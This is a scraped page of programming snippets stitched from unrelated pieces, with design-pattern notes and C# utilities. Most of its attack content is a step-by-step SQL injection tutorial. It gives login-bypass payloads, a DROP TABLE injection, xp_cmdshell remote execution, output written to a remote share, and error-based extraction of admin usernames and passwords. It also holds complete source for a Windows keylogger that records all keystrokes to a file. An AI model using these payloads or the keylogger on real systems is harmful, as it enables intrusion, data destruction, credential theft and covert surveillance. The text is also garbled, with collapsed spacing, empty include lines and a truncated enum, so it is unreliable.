In object-oriented design, the chain-of-responsibility pattern is a design pattern consisting of a source of command objects and a series of processing objects.[1] Each processing object contains logic that defines the types of command objects that it can handle; the rest are passed to the next processing object in the chain. A mechanism also exists for adding new processing objects to the end of this chain.
In a variation of the standard chain-of-responsibility model, some handlers may act as dispatchers, capable of sending commands out in a variety of directions, forming a tree of responsibility. In some cases, this can occur recursively, with processing objects calling higher-up processing objects with commands that attempt to solve some smaller part of the problem; in this case recursion continues until the command is processed, or the entire tree has been explored. An XML interpreter might work in this manner.
This pattern promotes the idea of loose coupling, which is considered a programming best practice.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
SQL Injection the most popular method to pass SQL command deliberately from input filed in application. As a developer you should know how to prevent your application from SQL Injection.
SQL Injection is one of the many web attack mechanisms used by hackers to steal data from organizations. It is perhaps one of the most common application layer attack techniques used today. It is the type of attack that takes advantage of improper coding of your web applications that allows hacker to inject SQL commands into say a login form to allow them to gain access to the data held within your database.
Which part of your application is in threat for SQL Injection?
SQL Injection is the hacking technique which attempts to pass SQL commands and SQL queries (statements) through a web application or desktop application for execution by the backend database. If not sanitized properly, web applications may result in SQL Injection attacks that allow hackers to view information from the database and/or even wipe it out.
Such features as login pages, support and product request forms, feedback forms, search pages, shopping carts and the general delivery of dynamic content, shape modern websites and provide businesses with the means necessary to communicate with prospects and customers. These website features are all examples of web applications which may be either purchased off-the-shelf or developed as bespoke programs.
These website features are all susceptible to SQL Injection attacks which arise because the fields available for user input allow SQL statements to pass through and query the database directly.
Basic SQL Injection, power of 'T'='T'
Most login page is ask for User Name and Password from the user. User type the user name and password in the login form and submit for authenticate. System query the database with supplied user name and password if it found in the database it authenticate the user otherwise it show login fail message. When we submit the login page most login page will pass query to database like.
If we type User Name as ANYUSER and Password as ANYPASS then actual query look like.
select*from user_master where user_name='ANYUSER'and user_password ='ANYPASS'
It will not work as there is no such user name and password in the table user_master. and it will show login fail message. Now just change your password and type ANYPASS' or 'T' = 'T and submit the page again. This time the query look like.
select*from user_master where user_name='ANYUSER'and user_password ='ANYPASS'or'T'='T'
Now it works and you are able to login the page without knowing the user name and password. How it was happen. the query will always return all records from the database because 'T' = 'T' always True.
What are the SQL command you can pass
If the underlying database supports multiple command in single line, then you can pass any valid DML, DCL and DDL command through SQL injection. for example following command will drop user_master table from the database. For example type in password box ANYPASS' ; drop table user_master -- and submit the page again. this time underlying query looks like.
select*from user_master where user_name='ANYUSER'and user_password ='ANYPASS' ; droptableuser_master-- '
Now it drop the user_master table from the database. In this case we pass drop table command along with password. -- two dash is comment for SQL no other code will be executed after that. If you know the table structure then you can Insert and update the record as well through SQL Injection.
SQL Injection by example
When a machine has only port 80 opened, your most trusted vulnerability scanner cannot return anything useful, and you know that the admin always patch his server, we have to turn to web hacking. SQL injection is one of type of web hacking that require nothing but port 80 and it might just work even if the admin is patch-happy. It attacks on the web application (like ASP, JSP, PHP, CGI, etc) itself rather than on the web server or services running in the OS.
This will help beginners with grasping the problems facing them while trying to utilize SQL Injection techniques, to successfully utilize them, and to protect themselves from such attacks.
This article does not introduce anything new, SQL injection has been widely written and used in the wild. We wrote the article because we would like to document some of our pen-test using SQL injection and hope that it may be of some use to others. You may find a trick or two but please check out the "11.0 Where can I get more info?" for people who truly deserve credit for developing many techniques in SQL injection.
What do you need for SQL Injection?
Any web browser.
Where to Start SQL Injection?
Try to look for pages that allow you to submit data, i.e: login page, search page, feedback, etc. Sometimes, HTML pages use POST command to send parameters to another ASP page. Therefore, you may not see the parameters in the URL. However, you can check the source code of the HTML, and look for "FORM" tag in the HTML code. You may find something like this in some HTML codes:
Everything between the and have potential parameters that might be useful (exploit wise).
1. What if you can't find any page that takes input?
You should look for pages like ASP, JSP, CGI, or PHP web pages. Try to look especially for URL that takes parameters, like: http://duck/index.asp?id=10
2. How do you test if it is vulnerable for SQL Injection?
Start with a single quote trick. Input something like:
hi' or 1=1--
Into login, or password, or even in the URL. Example:
Login: hi' or 1=1--Pass: hi'or1=1--
http://duck/index.asp?id=hi' or 1=1--
If you must do this with a hidden field, just download the source HTML from the site, save it in your hard disk, modify the URL and hidden field accordingly.
Example:
<formaction="http://duck/Search/search.asp" method="post"><inputname="A" type="hidden" value="hi' or 1=1--" /></form>
If luck is on your side, you will get login without any login name or password.
3. But why ' or 1=1-- is important in SQL Injection?
Let us look at another example why ' or 1=1-- is important. Other than bypassing login, it is also possible to view extra information that is not normally available. Take an asp page that will link you to another page with the following URL:http://duck/index.asp?category=food
In the URL, 'category' is the variable name, and 'food' is the value assigned to the variable. In order to do that, an ASP might contain the following code (OK, this is the actual code that we created for this exercise):
v_cat =request("category")
sqlstr=&quot;SELECT * FROM product WHERE PCategory='" & v_cat & "'"
set rs=conn.execute(sqlstr)
As we can see, our variable will be wrapped into v_cat and thus the SQL statement should become:
SELECT*FROM product WHERE PCategory='food'
The query should return a resultset containing one or more rows that match the WHERE condition, in this case, 'food'. Now, assume that we change the URL into something like this:
http://duck/index.asp?category=food' or 1=1--
Now, our variable v_cat equals to "food' or 1=1-- ", if we substitute this in the SQL query, we will have:
SELECT*FROM product WHERE PCategory='food'or1=1--'
The query now should now select everything from the product table regardless if PCategory is equal to 'food' or not. A double dash "--" tell MS SQL server ignore the rest of the query, which will get rid of the last hanging single quote ('). Sometimes, it may be possible to replace double dash with single hash "#".
However, if it is not an SQL server, or you simply cannot ignore the rest of the query, you also may try
' or 'a'='a
The SQL query will now become:
SELECT*FROM product WHERE PCategory='food'or'a'='a'
It should return the same result. Depending on the actual SQL query, you may have to try some of these possibilities:
' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a
4. How do I get remote execution with SQL injection?
Being able to inject SQL command usually mean, we can execute any SQL query at will. Default installation of MS SQL Server is running as SYSTEM, which is equivalent to Administrator access in Windows. We can use stored procedures like master..xp_cmdshell to perform remote execution:
'; exec
master..xp_cmdshell 'ping 10.10.1.2'--
Try using double quote (") if single quote (') is not working. The semi colon will end the current SQL query and thus allow you to start a new SQL command. To verify that the command executed successfully, you can listen to ICMP packet from 10.10.1.2, check if there is any packet from the server:
#tcpdump
icmp
If you do not get any ping request from the server, and get error message indicating permission error, it is possible that the administrator has limited Web User access to these stored procedures.
5 How to get output of my SQL query by SQL Injection?
It is possible to use sp_makewebtask to write your query into an HTML:
'; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"
But the target IP must folder "share" sharing for Everyone.
6 How to get data from the database using ODBC error message by SQL Injection?
We can use information from error message produced by the MSSQL Server to get almost any data we want. Take the following page for example:
http://duck/index.asp?id=10
We will try to UNION the integer '10' with another string from the database:
http://duck/index.asp?id=10UNIONSELECT TOP 1 TABLE_NAME FROMINFORMATION_SCHEMA.TABLES--
The system table INFORMATION_SCHEMA.TABLES contains information of all tables in the server. The TABLE_NAME field obviously contains the name of each table in the database. It was chosen because we know it always exists. Our query:
SELECT TOP 1 TABLE_NAME FROMINFORMATION_SCHEMA.TABLES-
This should return the first table name in the database. When we UNION this string value to an integer 10, MS SQL Server will try to convert a string (nvarchar) to an integer. This will produce an error, since we cannot convert nvarchar to int. The server will display the following error:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error
converting the nvarchar value 'table1' to a column of data
type int.
/index.asp, line 5
The error message is nice enough to tell us the value that cannot be converted into an integer. In this case, we have obtained the first table name in the database, which is "table1".
To get the next table name, we can use the following query:
http://duck/index.asp?id=10UNIONSELECT TOP 1 TABLE_NAME FROMINFORMATION_SCHEMA.TABLESWHERE TABLE_NAME NOT IN ('table1')--
We also can search for data using LIKE keyword:
http://duck/index.asp?id=10UNIONSELECT TOP 1 TABLE_NAME FROMINFORMATION_SCHEMA.TABLESWHERE TABLE_NAME LIKE'%25login%25'--
Output:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'admin_login' to a column of data type int.
/index.asp, line 5
The matching patent, '%25login%25' will be seen as %login% in SQL Server. In this case, we will get the first table name that matches the criteria, "admin_login".
7. How to mine all column names of a table by SQL Injection?
We can use another useful table INFORMATION_SCHEMA.COLUMNS to map out all columns name of a table:
http://duck/index.asp?id=10UNIONSELECT TOP 1 COLUMN_NAME FROMINFORMATION_SCHEMA.COLUMNSWHERE TABLE_NAME='admin_login'--
Output:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error
converting the nvarchar value 'login_id' to a column of data
type int.
/index.asp, line 5
Now that we have the first column name, we can use NOT IN () to get the next column name:
http://duck/index.asp?id=10UNIONSELECT TOP 1 COLUMN_NAME FROMINFORMATION_SCHEMA.COLUMNSWHERE TABLE_NAME='admin_login'WHERE COLUMN_NAME NOT IN ('login_id')--
Output:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_name' to a column of data type int.
/index.asp, line 5
When we continue further, we obtained the rest of the column name, i.e. "password", "details". We know this when we get the following error message:
http://duck/index.asp?id=10UNIONSELECT TOP 1 COLUMN_NAME FROMINFORMATION_SCHEMA.COLUMNSWHERE TABLE_NAME='admin_login'WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--
Output:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator.
/index.asp, line 5
8. How to retrieve any data we want?
Now that we have identified some important tables, and their column, we can use the same technique to gather any information we want from the database. Now, let's get the first login_name from the "admin_login" table:
http://duck/index.asp?id=10UNIONSELECT TOP 1 login_name FROM admin_login--
Output:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'neo' to a column of data type int.
/index.asp, line 5
We now know there is an admin user with the login name of "neo". Finally, to get the password of "neo" from the database:
http://duck/index.asp?id=10UNIONSELECT TOP 1 password FROM admin_login where login_name='neo'--
Output:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error
converting the nvarchar value 'm4trix' to a column of data
type int.
/index.asp, line 5
We can now login as "neo" with his password "m4trix".
9. How to get numeric string value?
There is limitation with the technique describe above. We cannot get any error message if we are trying to convert text that consists of valid number (character between 0-9 only). Let say we are trying to get password of "trinity" which is "31173":
http://duck/index.asp?id=10UNIONSELECT TOP 1 password FROM admin_login where login_name='trinity'--
We will probably get a "Page Not Found" error. The reason being, the password "31173" will be converted into a number, before UNION with an integer (10 in this case). Since it is a valid UNION statement, SQL server will not throw ODBC error message, and thus, we will not be able to retrieve any numeric entry.
To solve this problem, we can append the numeric string with some alphabets to make sure the conversion fail. Let us try this query instead:
http://duck/index.asp?id=10UNIONSELECT TOP 1convert(int, password%2b'%20morpheus') FROM admin_login where login_name='trinity'--
We simply use a plus sign (+) to append the password with any text we want. (ASSCII code for '+' = 0x2b). We will append '(space)morpheus' into the actual password. Therefore, even if we have a numeric string '31173', it will become '31173 morpheus'. By manually calling the convert() function, trying to convert '31173 morpheus' into an integer, SQL Server will throw out ODBC error message:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '31173 morpheus' to a column of data type int.
/index.asp, line 5
Now, you can even login as 'trinity' with the password '31173'.
10. How to update/insert data into the database by SQL Injection?
When we successfully gather all column name of a table, it is possible for us to UPDATE or even INSERT a new record in the table. For example, to change password for "neo":
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//Keylogger in C++
// This code will only work if you have Windows NT or
// any later version installed, 2k and XP will work.
#define _WIN32_WINNT 0x0400
#include
#include
#include
// Global Hook handle
HHOOK hKeyHook;
// This is the function that is "exported" from the
// execuatable like any function is exported from a
// DLL. It is the hook handler routine for low level
// keyboard events.
__declspec(dllexport) LRESULT CALLBACK KeyEvent (
int nCode, // The hook code
WPARAM wParam, // The window message (WM_KEYUP, WM_KEYDOWN, etc.)
LPARAM lParam // A pointer to a struct with information about the pressed key
) {
if ((nCode == HC_ACTION) && // HC_ACTION means we may process this event
((wParam == WM_SYSKEYDOWN) || // Only react if either a system key ...
(wParam == WM_KEYDOWN))) // ... or a normal key have been pressed.
{
// This struct contains various information about
// the pressed key such as hardware scan code, virtual
// key code and further flags.
KBDLLHOOKSTRUCT hooked =
*((KBDLLHOOKSTRUCT*)lParam);
// dwMsg shall contain the information that would be stored
// in the usual lParam argument of a WM_KEYDOWN message.
// All information like hardware scan code and other flags
// are stored within one double word at different bit offsets.
// Refer to MSDN for further information:
//
// http://msdn.microsof...us/winui/winui/
// windowsuserinterface/userinput/keyboardinput/aboutkeyboardinput.asp
//
// (Keystroke Messages)
DWORD dwMsg = 1;
dwMsg += hooked.scanCode << 16;
dwMsg += hooked.flags << 24;
// Call the GetKeyNameText() function to get the language-dependant
// name of the pressed key. This function should return the name
// of the pressed key in your language, aka the language used on
// the system.
char lpszName[0x100] = {0};
lpszName[0] = '[';
int i = GetKeyNameText(dwMsg,
(lpszName+1),0xFF) + 1;
lpszName[i] = ']';
// Print this name to the standard console output device.
FILE *file;
file=fopen("keys.log","a+");
fputs(lpszName,file);
fflush(file);
}
// the return value of the CallNextHookEx routine is always
// returned by your HookProc routine. This allows other
// applications to install and handle the same hook as well.
return CallNextHookEx(hKeyHook,
nCode,wParam,lParam);
}
// This is a simple message loop that will be used
// to block while we are logging keys. It does not
// perform any real task ...
void MsgLoop()
{
MSG message;
while (GetMessage(&message,NULL,0,0)) {
TranslateMessage( &message );
DispatchMessage( &message );
}
}
// This thread is started by the main routine to install
// the low level keyboard hook and start the message loop
// to loop forever while waiting for keyboard events.
DWORD WINAPI KeyLogger(LPVOID lpParameter)
{
// Get a module handle to our own executable. Usually,
// the return value of GetModuleHandle(NULL) should be
// a valid handle to the current application instance,
// but if it fails we will also try to actually load
// ourself as a library. The thread's parameter is the
// first command line argument which is the path to our
// executable.
HINSTANCE hExe = GetModuleHandle(NULL);
if (!hExe) hExe = LoadLibrary((LPCSTR) lpParameter);
// Everything failed, we can't install the hook ... this
// never happened, but error handling is important.
if (!hExe) return 1;
hKeyHook = SetWindowsHookEx ( // install the hook:
WH_KEYBOARD_LL, // as a low level keyboard hook
(HOOKPROC) KeyEvent, // with the KeyEvent function from this executable
hExe, // and the module handle to our own executable
NULL // and finally, the hook should monitor all threads.
);
// Loop forever in a message loop and if the loop
// stops some time, unhook the hook. I could have
// added a signal handler for ctrl-c that unhooks
// the hook once the application is terminated by
// the user, but I was too lazy.
MsgLoop();
UnhookWindowsHookEx(hKeyHook);
return 0;
}
// The main function just starts the thread that
// installs the keyboard hook and waits until it
// terminates.
int main(int argc, char** argv)
{
HANDLE hThread;
DWORD dwThread;
DWORD exThread;
hThread = CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE)
KeyLogger, (LPVOID) argv[0], NULL, &dwThread);
if (hThread) {
return WaitForSingleObject(hThread,INFINITE);
} else {
return 1;
}
}
A design pattern is a proven design solution to a common problem faced by software developers. Design patterns became popular with the rise of Object Oriented Analysis and Design (OOAD). Design patterns are designed to help developers deliver higher quality, more easily maintained software products in less time and at lower cost.
Design patterns are:
encapsulated - They embody design knowledge regarding collaboration of classes and objects, distribution of
responsibility, and other design issues.
object-oriented - They incorporate OOAD principles—e.g., low coupling, high cohesion.
reusable - They are adaptable, flexible, general solutions to classes of problems with broad applicability. Design patterns simplify the task facing the developer.
How did design patterns originate?
The history of design patterns is quite short. They originated as an architectural concept proposed by Christopher Alexander in the late nineteen seventies (ca. 1977). Kent Beck and Ward Cunningham experimented with the notion of applying patterns to computer programming in the late nineteen eighties (ca. 1987). Design patterns did not become widely used in computer science until after Design Patterns: Elements of Reusable Object-Oriented Software by the so-called Gang of Four was published in 1994.
How are design patterns classified?
Design patterns are categorized to facilitate learning and extending them. They are classified in terms of the underlying problems they address, i.e. according to usage.
The three main design pattern categories are:
Behavioral design patterns - characterize the manner of class and object interaction and how responsibilities are distributed among them.
Creational design patterns - address the object creation process. Creational design patterns encapsulate knowledge about how, when, and by whom an instance is created.
Structural design patterns - address the composition of classes and objects.
Design patterns vary both in granularity and level of abstraction.
Behavioral design patterns
Chain of Responsibility Define a method of passing a request among a chain of objects.
Command Encapsulate a command request in an object.
Interpreter Allow inclusion of language elements in an application.
Iterator Enable sequential access to collection elements.
Mediator Define simplified communication between classes.
Memento Save and restore the internal state of an object.
Observer Define a scheme for notifying objects of changes to another object.
State Alter the behavior of an object when its state changes.
Strategy Encapsulate an algorithm inside a class.
Template Method Allow subclasses to redefine the steps of an algorithm.
Visitor Define a new operation on a class without changint it.
Creational design patterns
Abstract Factory Encapsulate a set of analogous factories that produce families of objects.
Builder Encapsulate the construction of complex objects from their representation; so, the same building process can create various representations by specifying only type and content.
Factory Method Allow subclasses to "decide" which class to instantiate.
Prototype Create an initialized instance for cloning or copying.
Singleton Ensure that only a single instance of a class exists and provide a single method for gaining access to it.
Structural design patterns
Adapter Adapt an interface to an expected interface.
Bridge Decouple an interface from its implementation.
Composite Create a tree structure for part-whole hierarchies.
Decorator Extend functionality dynamically.
Façade (Facade) Simplify usage by defining a high-level interface.
Flyweight Support fine-grained objects efficiently by sharing.
Proxy Represent an object with another object for access control.
This C# code snippet performs an HTTP Post and returns the response as a string.
usingSystem.Net;stringHttpPost(stringuri,stringparameters){// parameters: name1=value1&name2=value2 WebRequestwebRequest=WebRequest.Create(uri);// string ProxyString = // System.Configuration.ConfigurationManager.AppSettings// [GetConfigKey("proxy")];// webRequest.Proxy = new WebProxy (ProxyString, true);// Commenting out above required change to App.ConfigwebRequest.ContentType="application/x-www-form-urlencoded";webRequest.Method="POST";byte[]bytes=Encoding.ASCII.GetBytes(parameters);Streamos=null;try{// send the PostwebRequest.ContentLength=bytes.Length;//Count bytes to sendos=webRequest.GetRequestStream();os.Write(bytes,0,bytes.Length);//Send it}catch(WebExceptionex){MessageBox.Show(ex.Message,"HttpPost: Request error",MessageBoxButtons.OK,MessageBoxIcon.Error);}finally{if(os!=null){os.Close();}}try{// get the responseWebResponsewebResponse=webRequest.GetResponse();if(webResponse==null){returnnull;}StreamReadersr=newStreamReader(webResponse.GetResponseStream());returnsr.ReadToEnd().Trim();}catch(WebExceptionex){MessageBox.Show(ex.Message,"HttpPost: Response error",MessageBoxButtons.OK,MessageBoxIcon.Error);}returnnull;}// end HttpPost
This C# code snippet logs messages to a disk file for debugging or other logging purposes. Such code is especially useful when writing server applications which contain no user interface.
Call the following simple method like:
LogMessageToFile ("Message to be logged.");
Automatically, the current datetime is inserted with your message into the log file.
More sophisticated logging can be achieved using the Windows Event Log. Simply, create an event message source and either create a custom event log or use the application log. Typically, to add a source to the log, such logging programs will implement the System.Configuration.Install.Installer interface.
And, the TraceListener infrastructure can be used to turn them on or off or redirect sources to debugger output, the Event Log, a text file, etc. A custom trace listener can log to an arbitrary log.
This C# code snippet searches an array of integers using a binary search.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This C# code snippet creates a MD5 hash—a 32-character string of hexadecimal numbers—from a string. Passwords are commonly stored in databases as a hash code.
md5hash will contain this string: "C3FCD3D76192E4007DFB496CCA67E13B".
using System;
public string CreateMD5Hash (string input)
{
// Use input string to calculate MD5 hash
MD5 md5 = System.Security.Cryptography.MD5.Create();
byte[] inputBytes = System.Text.Encoding.ASCII.GetBytes (input);
byte[] hashBytes = md5.ComputeHash (inputBytes);
// Convert the byte array to hexadecimal string
StringBuilder sb = new StringBuilder();
for (int i = 0; i < hashBytes.Length; i++)
{
sb.Append (hashBytes[i].ToString ("X2"));
// To force the hex string to lower-case letters instead of
// upper-case, use he following line instead:
// sb.Append(hashBytes[i].ToString("x2"));
}
return sb.ToString();
}
Located in the System.Web.Security namespace, this class can also be used:
This C# code snippet shows how to test the specified object in order to determine whether or not it implements a particular interface. Although an interface cannot be instantiated directly, an interface can be treated polymorphically by casting an object which implements the interface to the interface type. Then, the actual runtime type of the object can be ignored; and, the object will appear to be an instantiated interface. The first option is to simply cast the object reference to an interface
ICloneable iCloneable = (ICloneable) new TheObject();
Unfortunately, if the object does not implement that particular interface, a runtime error of System.InvalidCastException will be thrown. You could catch that exception and take appropriate action; but, that is both bad practice and inefficient.
The second option is to use the is operator which returns true if the object can be safely cast to the specified type:
using System;
TheObject theObject = new TheObject();
if (theObject is ICloneable)
{
ICloneable iCloneable = (ICloneable) theObject;
}
else
{
console.WriteLine ("Interface unsupported");
}
The third option is to use the as operator which will either cast the object to the specified type or return a null if the cast would be invalid.
ICloneable iCloneable = new TheObject() as ICloneable;
if (iCloneable != null)
{
iCloneable.Clone(); // access interface member
}
else
{
console.WriteLine ("Interface unsupported");
}
Sends the specified message to a window or windows.
It uses P/Invoke that allows you to access structs, callbacks, and functions in unmanaged libraries from your managed code.
SendMessage function
The SendMessage function calls the window procedure for the specified window and does not return until the window procedure has processed the message.
SendMessage(inthwnd,intwMsg,intwParam,intlParam);
Parameters
hWnd
Type: HWND
A handle to the window whose window procedure will receive the message. If this parameter is HWND_BROADCAST ((HWND)0xffff), the message is sent to all top-level windows in the system, including disabled or invisible unowned windows, overlapped windows, and pop-up windows; but the message is not sent to child windows.
Message sending is subject to UIPI. The thread of a process can send messages only to message queues of threads in processes of lesser or equal integrity level.
Msg
Type: UINT
The message to be sent.
For lists of the system-provided messages, see System-Defined Messages.
wParam
Type: WPARAM
Additional message-specific information.
lParam
Type: LPARAM
Additional message-specific information.
Here is the implementation of it using C# with PInvoke
//Send Message API Class//send Message Win32 Ap interop usingSystem.Runtime.InteropServices;namespaceKillerCodes.win32.API{publicstaticclassWIN32_API{[DllImport("user32.dll",EntryPoint="SendMessageW")]privatestaticexternintSendMessage(inthwnd,intwMsg,intwParam,intlParam);[DllImport("user32.dll",EntryPoint="SendMessageW")]privatestaticexternintSendMessageFL(inthwnd,intwMsg,intwParam,stringlParam);[DllImport("user32.dll",EntryPoint="SendMessageW")]privatestaticexternintSendMessageSD(inthwnd,intwMsg,stringwParam,intlParam);publicenumWM:int{WM_ACTIVATE=0x6,WM_ACTIVATEAPP=0x1C,WM_ADSPROP_NOTIFY_APPLY=(WM_USER+1104),WM_USER=0x400,WM_ADSPROP_NOTIFY_CHANGE=(WM_USER+1103),WM_ADSPROP_NOTIFY_EXIT=(WM_USER+1107),WM_ADSPROP_NOTIFY_FOREGROUND=(WM_USER+1106),WM_ADSPROP_NOTIFY_PAGEHWND=(WM_USER+1102),WM_ADSPROP_NOTIFY_PAGEINIT=(WM_USER+1101),WM_ADSPROP_NOTIFY_SETFOCUS=(WM_USER+1105),WM_ADSPROP_NOTIFY_SHOW_ERROR_DIALOG=(WM_USER+1111),WM_AFXFIRST=0x360,WM_AFXLAST=0x37F,WM_APP=0x8000,WM_APPCOMMAND=0x319,WM_ASKCBFORMATNAME=0x30C,WM_CANCELJOURNAL=0x4B,WM_CANCELMODE=0x1F,WM_CAP_ABORT=(WM_CAP_START+69),WM_CAP_START=WM_USER,WM_CAP_DLG_VIDEOCOMPRESSION=(WM_CAP_START+46),WM_CAP_DLG_VIDEODISPLAY=(WM_CAP_START+43),WM_CAP_DLG_VIDEOFORMAT=(WM_CAP_START+41),WM_CAP_DLG_VIDEOSOURCE=(WM_CAP_START+42),WM_CAP_DRIVER_CONNECT=(WM_CAP_START+10),WM_CAP_DRIVER_DISCONNECT=(WM_CAP_START+11),WM_CAP_DRIVER_GET_CAPS=(WM_CAP_START+14),WM_CAP_DRIVER_GET_NAMEA=(WM_CAP_START+12),WM_CAP_DRIVER_GET_NAMEW=(WM_CAP_UNICODE_START+12),WM_CAP_UNICODE_START=WM_USER+100,WM_CAP_DRIVER_GET_VERSIONA=(WM_CAP_START+13),WM_CAP_DRIVER_GET_VERSIONW=(WM_CAP_UNICODE_START+13),WM_CAP_EDIT_COPY=(WM_CAP_START+30),WM_CAP_END=WM_CAP_UNICODE_END,WM_CAP_UNICODE_END=WM_CAP_PAL_SAVEW,WM_CAP_FILE_ALLOCATE=(WM_CAP_START+22),WM_CAP_FILE_GET_CAPTURE_FILEA=(WM_CAP_START+21),WM_CAP_FILE_GET_CAPTURE_FILEW=(WM_CAP_UNICODE_START+21),WM_CAP_FILE_SAVEASA=(WM_CAP_START+23),WM_CAP_FILE_SAVEASW=(WM_CAP_UNICODE_START+23),WM_CAP_FILE_SAVEDIBA=(WM_CAP_START+25),WM_CAP_FILE_SAVEDIBW=(WM_CAP_UNICODE_START+25),WM_CAP_FILE_SET_CAPTURE_FILEA=(WM_CAP_START+20),WM_CAP_FILE_SET_CAPTURE_FILEW=(WM_CAP_UNICODE_START+20),WM_CAP_FILE_SET_INFOCHUNK=(WM_CAP_START+24),WM_CAP_GET_AUDIOFORMAT=(WM_CAP_START+36),WM_CAP_GET_CAPSTREAMPTR=(WM_CAP_START+1),WM_CAP_GET_MCI_DEVICEA=(WM_CAP_START+67),WM_CAP_GET_MCI_DEVICEW=(WM_CAP_UNICODE_START+67),WM_CAP_GET_SEQUENCE_SETUP=(WM_CAP_START+65),WM_CAP_GET_STATUS=(WM_CAP_START+54),WM_CAP_GET_USER_DATA=(WM_CAP_START+8),WM_CAP_GET_VIDEOFORMAT=(WM_CAP_START+44),WM_CAP_GRAB_FRAME=(WM_CAP_START+60),WM_CAP_GRAB_FRAME_NOSTOP=(WM_CAP_START+61),WM_CAP_PAL_AUTOCREATE=(WM_CAP_START+83),WM_CAP_PAL_MANUALCREATE=(WM_CAP_START+84),WM_CAP_PAL_OPENA=(WM_CAP_START+80),WM_CAP_PAL_OPENW=(WM_CAP_UNICODE_START+80),WM_CAP_PAL_PASTE=(WM_CAP_START+82),WM_CAP_PAL_SAVEA=(WM_CAP_START+81),WM_CAP_PAL_SAVEW=(WM_CAP_UNICODE_START+81),WM_CAP_SEQUENCE=(WM_CAP_START+62),WM_CAP_SEQUENCE_NOFILE=(WM_CAP_START+63),WM_CAP_SET_AUDIOFORMAT=(WM_CAP_START+35),WM_CAP_SET_CALLBACK_CAPCONTROL=(WM_CAP_START+85),WM_CAP_SET_CALLBACK_ERRORA=(WM_CAP_START+2),WM_CAP_SET_CALLBACK_ERRORW=(WM_CAP_UNICODE_START+2),WM_CAP_SET_CALLBACK_FRAME=(WM_CAP_START+5),WM_CAP_SET_CALLBACK_STATUSA=(WM_CAP_START+3),WM_CAP_SET_CALLBACK_STATUSW=(WM_CAP_UNICODE_START+3),WM_CAP_SET_CALLBACK_VIDEOSTREAM=(WM_CAP_START+6),WM_CAP_SET_CALLBACK_WAVESTREAM=(WM_CAP_START+7),WM_CAP_SET_CALLBACK_YIELD=(WM_CAP_START+4),WM_CAP_SET_MCI_DEVICEA=(WM_CAP_START+66),WM_CAP_SET_MCI_DEVICEW=(WM_CAP_UNICODE_START+66),WM_CAP_SET_OVERLAY=(WM_CAP_START+51),WM_CAP_SET_PREVIEW=(WM_CAP_START+50),WM_CAP_SET_PREVIEWRATE=(WM_CAP_START+52),WM_CAP_SET_SCALE=(WM_CAP_START+53),WM_CAP_SET_SCROLL=(WM_CAP_START+55),WM_CAP_SET_SEQUENCE_SETUP=(WM_CAP_START+64),WM_CAP_SET_USER_DATA=(WM_CAP_START+9),WM_CAP_SET_VIDEOFORMAT=(WM_CAP_START+45),WM_CAP_SINGLE_FRAME=(WM_CAP_START+72),WM_CAP_SINGLE_FRAME_CLOSE=(WM_CAP_START+71),WM_CAP_SINGLE_FRAME_OPEN=(WM_CAP_START+70),WM_CAP_STOP=(WM_CAP_START+68),WM_CAPTURECHANGED=0x215,WM_CHANGECBCHAIN=0x30D,WM_CHANGEUISTATE=0x127,WM_CHAR=0x102,WM_CHARTOITEM=0x2F,WM_CHOOSEFONT_GETLOGFONT=(WM_USER+1),WM_CHOOSEFONT_SETFLAGS=(WM_USER+102),WM_CHOOSEFONT_SETLOGFONT=(WM_USER+101),WM_CLEAR=0x303,WM_CLOSE=0x10,WM_COMMAND=0x111,WM_COMMNOTIFY=0x44,WM_COMPACTING=0x41,WM_COMPAREITEM=0x39,WM_CONTEXTMENU=0x7B,WM_CONVERTREQUEST=0x10A,WM_CONVERTREQUESTEX=0x108,WM_CONVERTRESULT=0x10B,WM_COPY=0x301,WM_COPYDATA=0x4A,WM_CPL_LAUNCH=(WM_USER+1000),WM_CPL_LAUNCHED=(WM_USER+1001),WM_CREATE=0x1,WM_CTLCOLOR=0x19,WM_CTLCOLORBTN=0x135,WM_CTLCOLORDLG=0x136,WM_CTLCOLOREDIT=0x133,WM_CTLCOLORLISTBOX=0x134,WM_CTLCOLORMSGBOX=0x132,WM_CTLCOLORSCROLLBAR=0x137,WM_CTLCOLORSTATIC=0x138,WM_CUT=0x300,WM_DDE_FIRST=0x3E0,WM_DDE_ACK=(WM_DDE_FIRST+4),WM_DDE_ADVISE=(WM_DDE_FIRST+2),WM_DDE_DATA=(WM_DDE_FIRST+5),WM_DDE_EXECUTE=(WM_DDE_FIRST+8),WM_DDE_INITIATE=(WM_DDE_FIRST),WM_DDE_LAST=(WM_DDE_FIRST+8),WM_DDE_POKE=(WM_DDE_FIRST+7),WM_DDE_REQUEST=(WM_DDE_FIRST+6),WM_DDE_TERMINATE=(WM_DDE_FIRST+1),WM_DDE_UNADVISE=(WM_DDE_FIRST+3),WM_DEADCHAR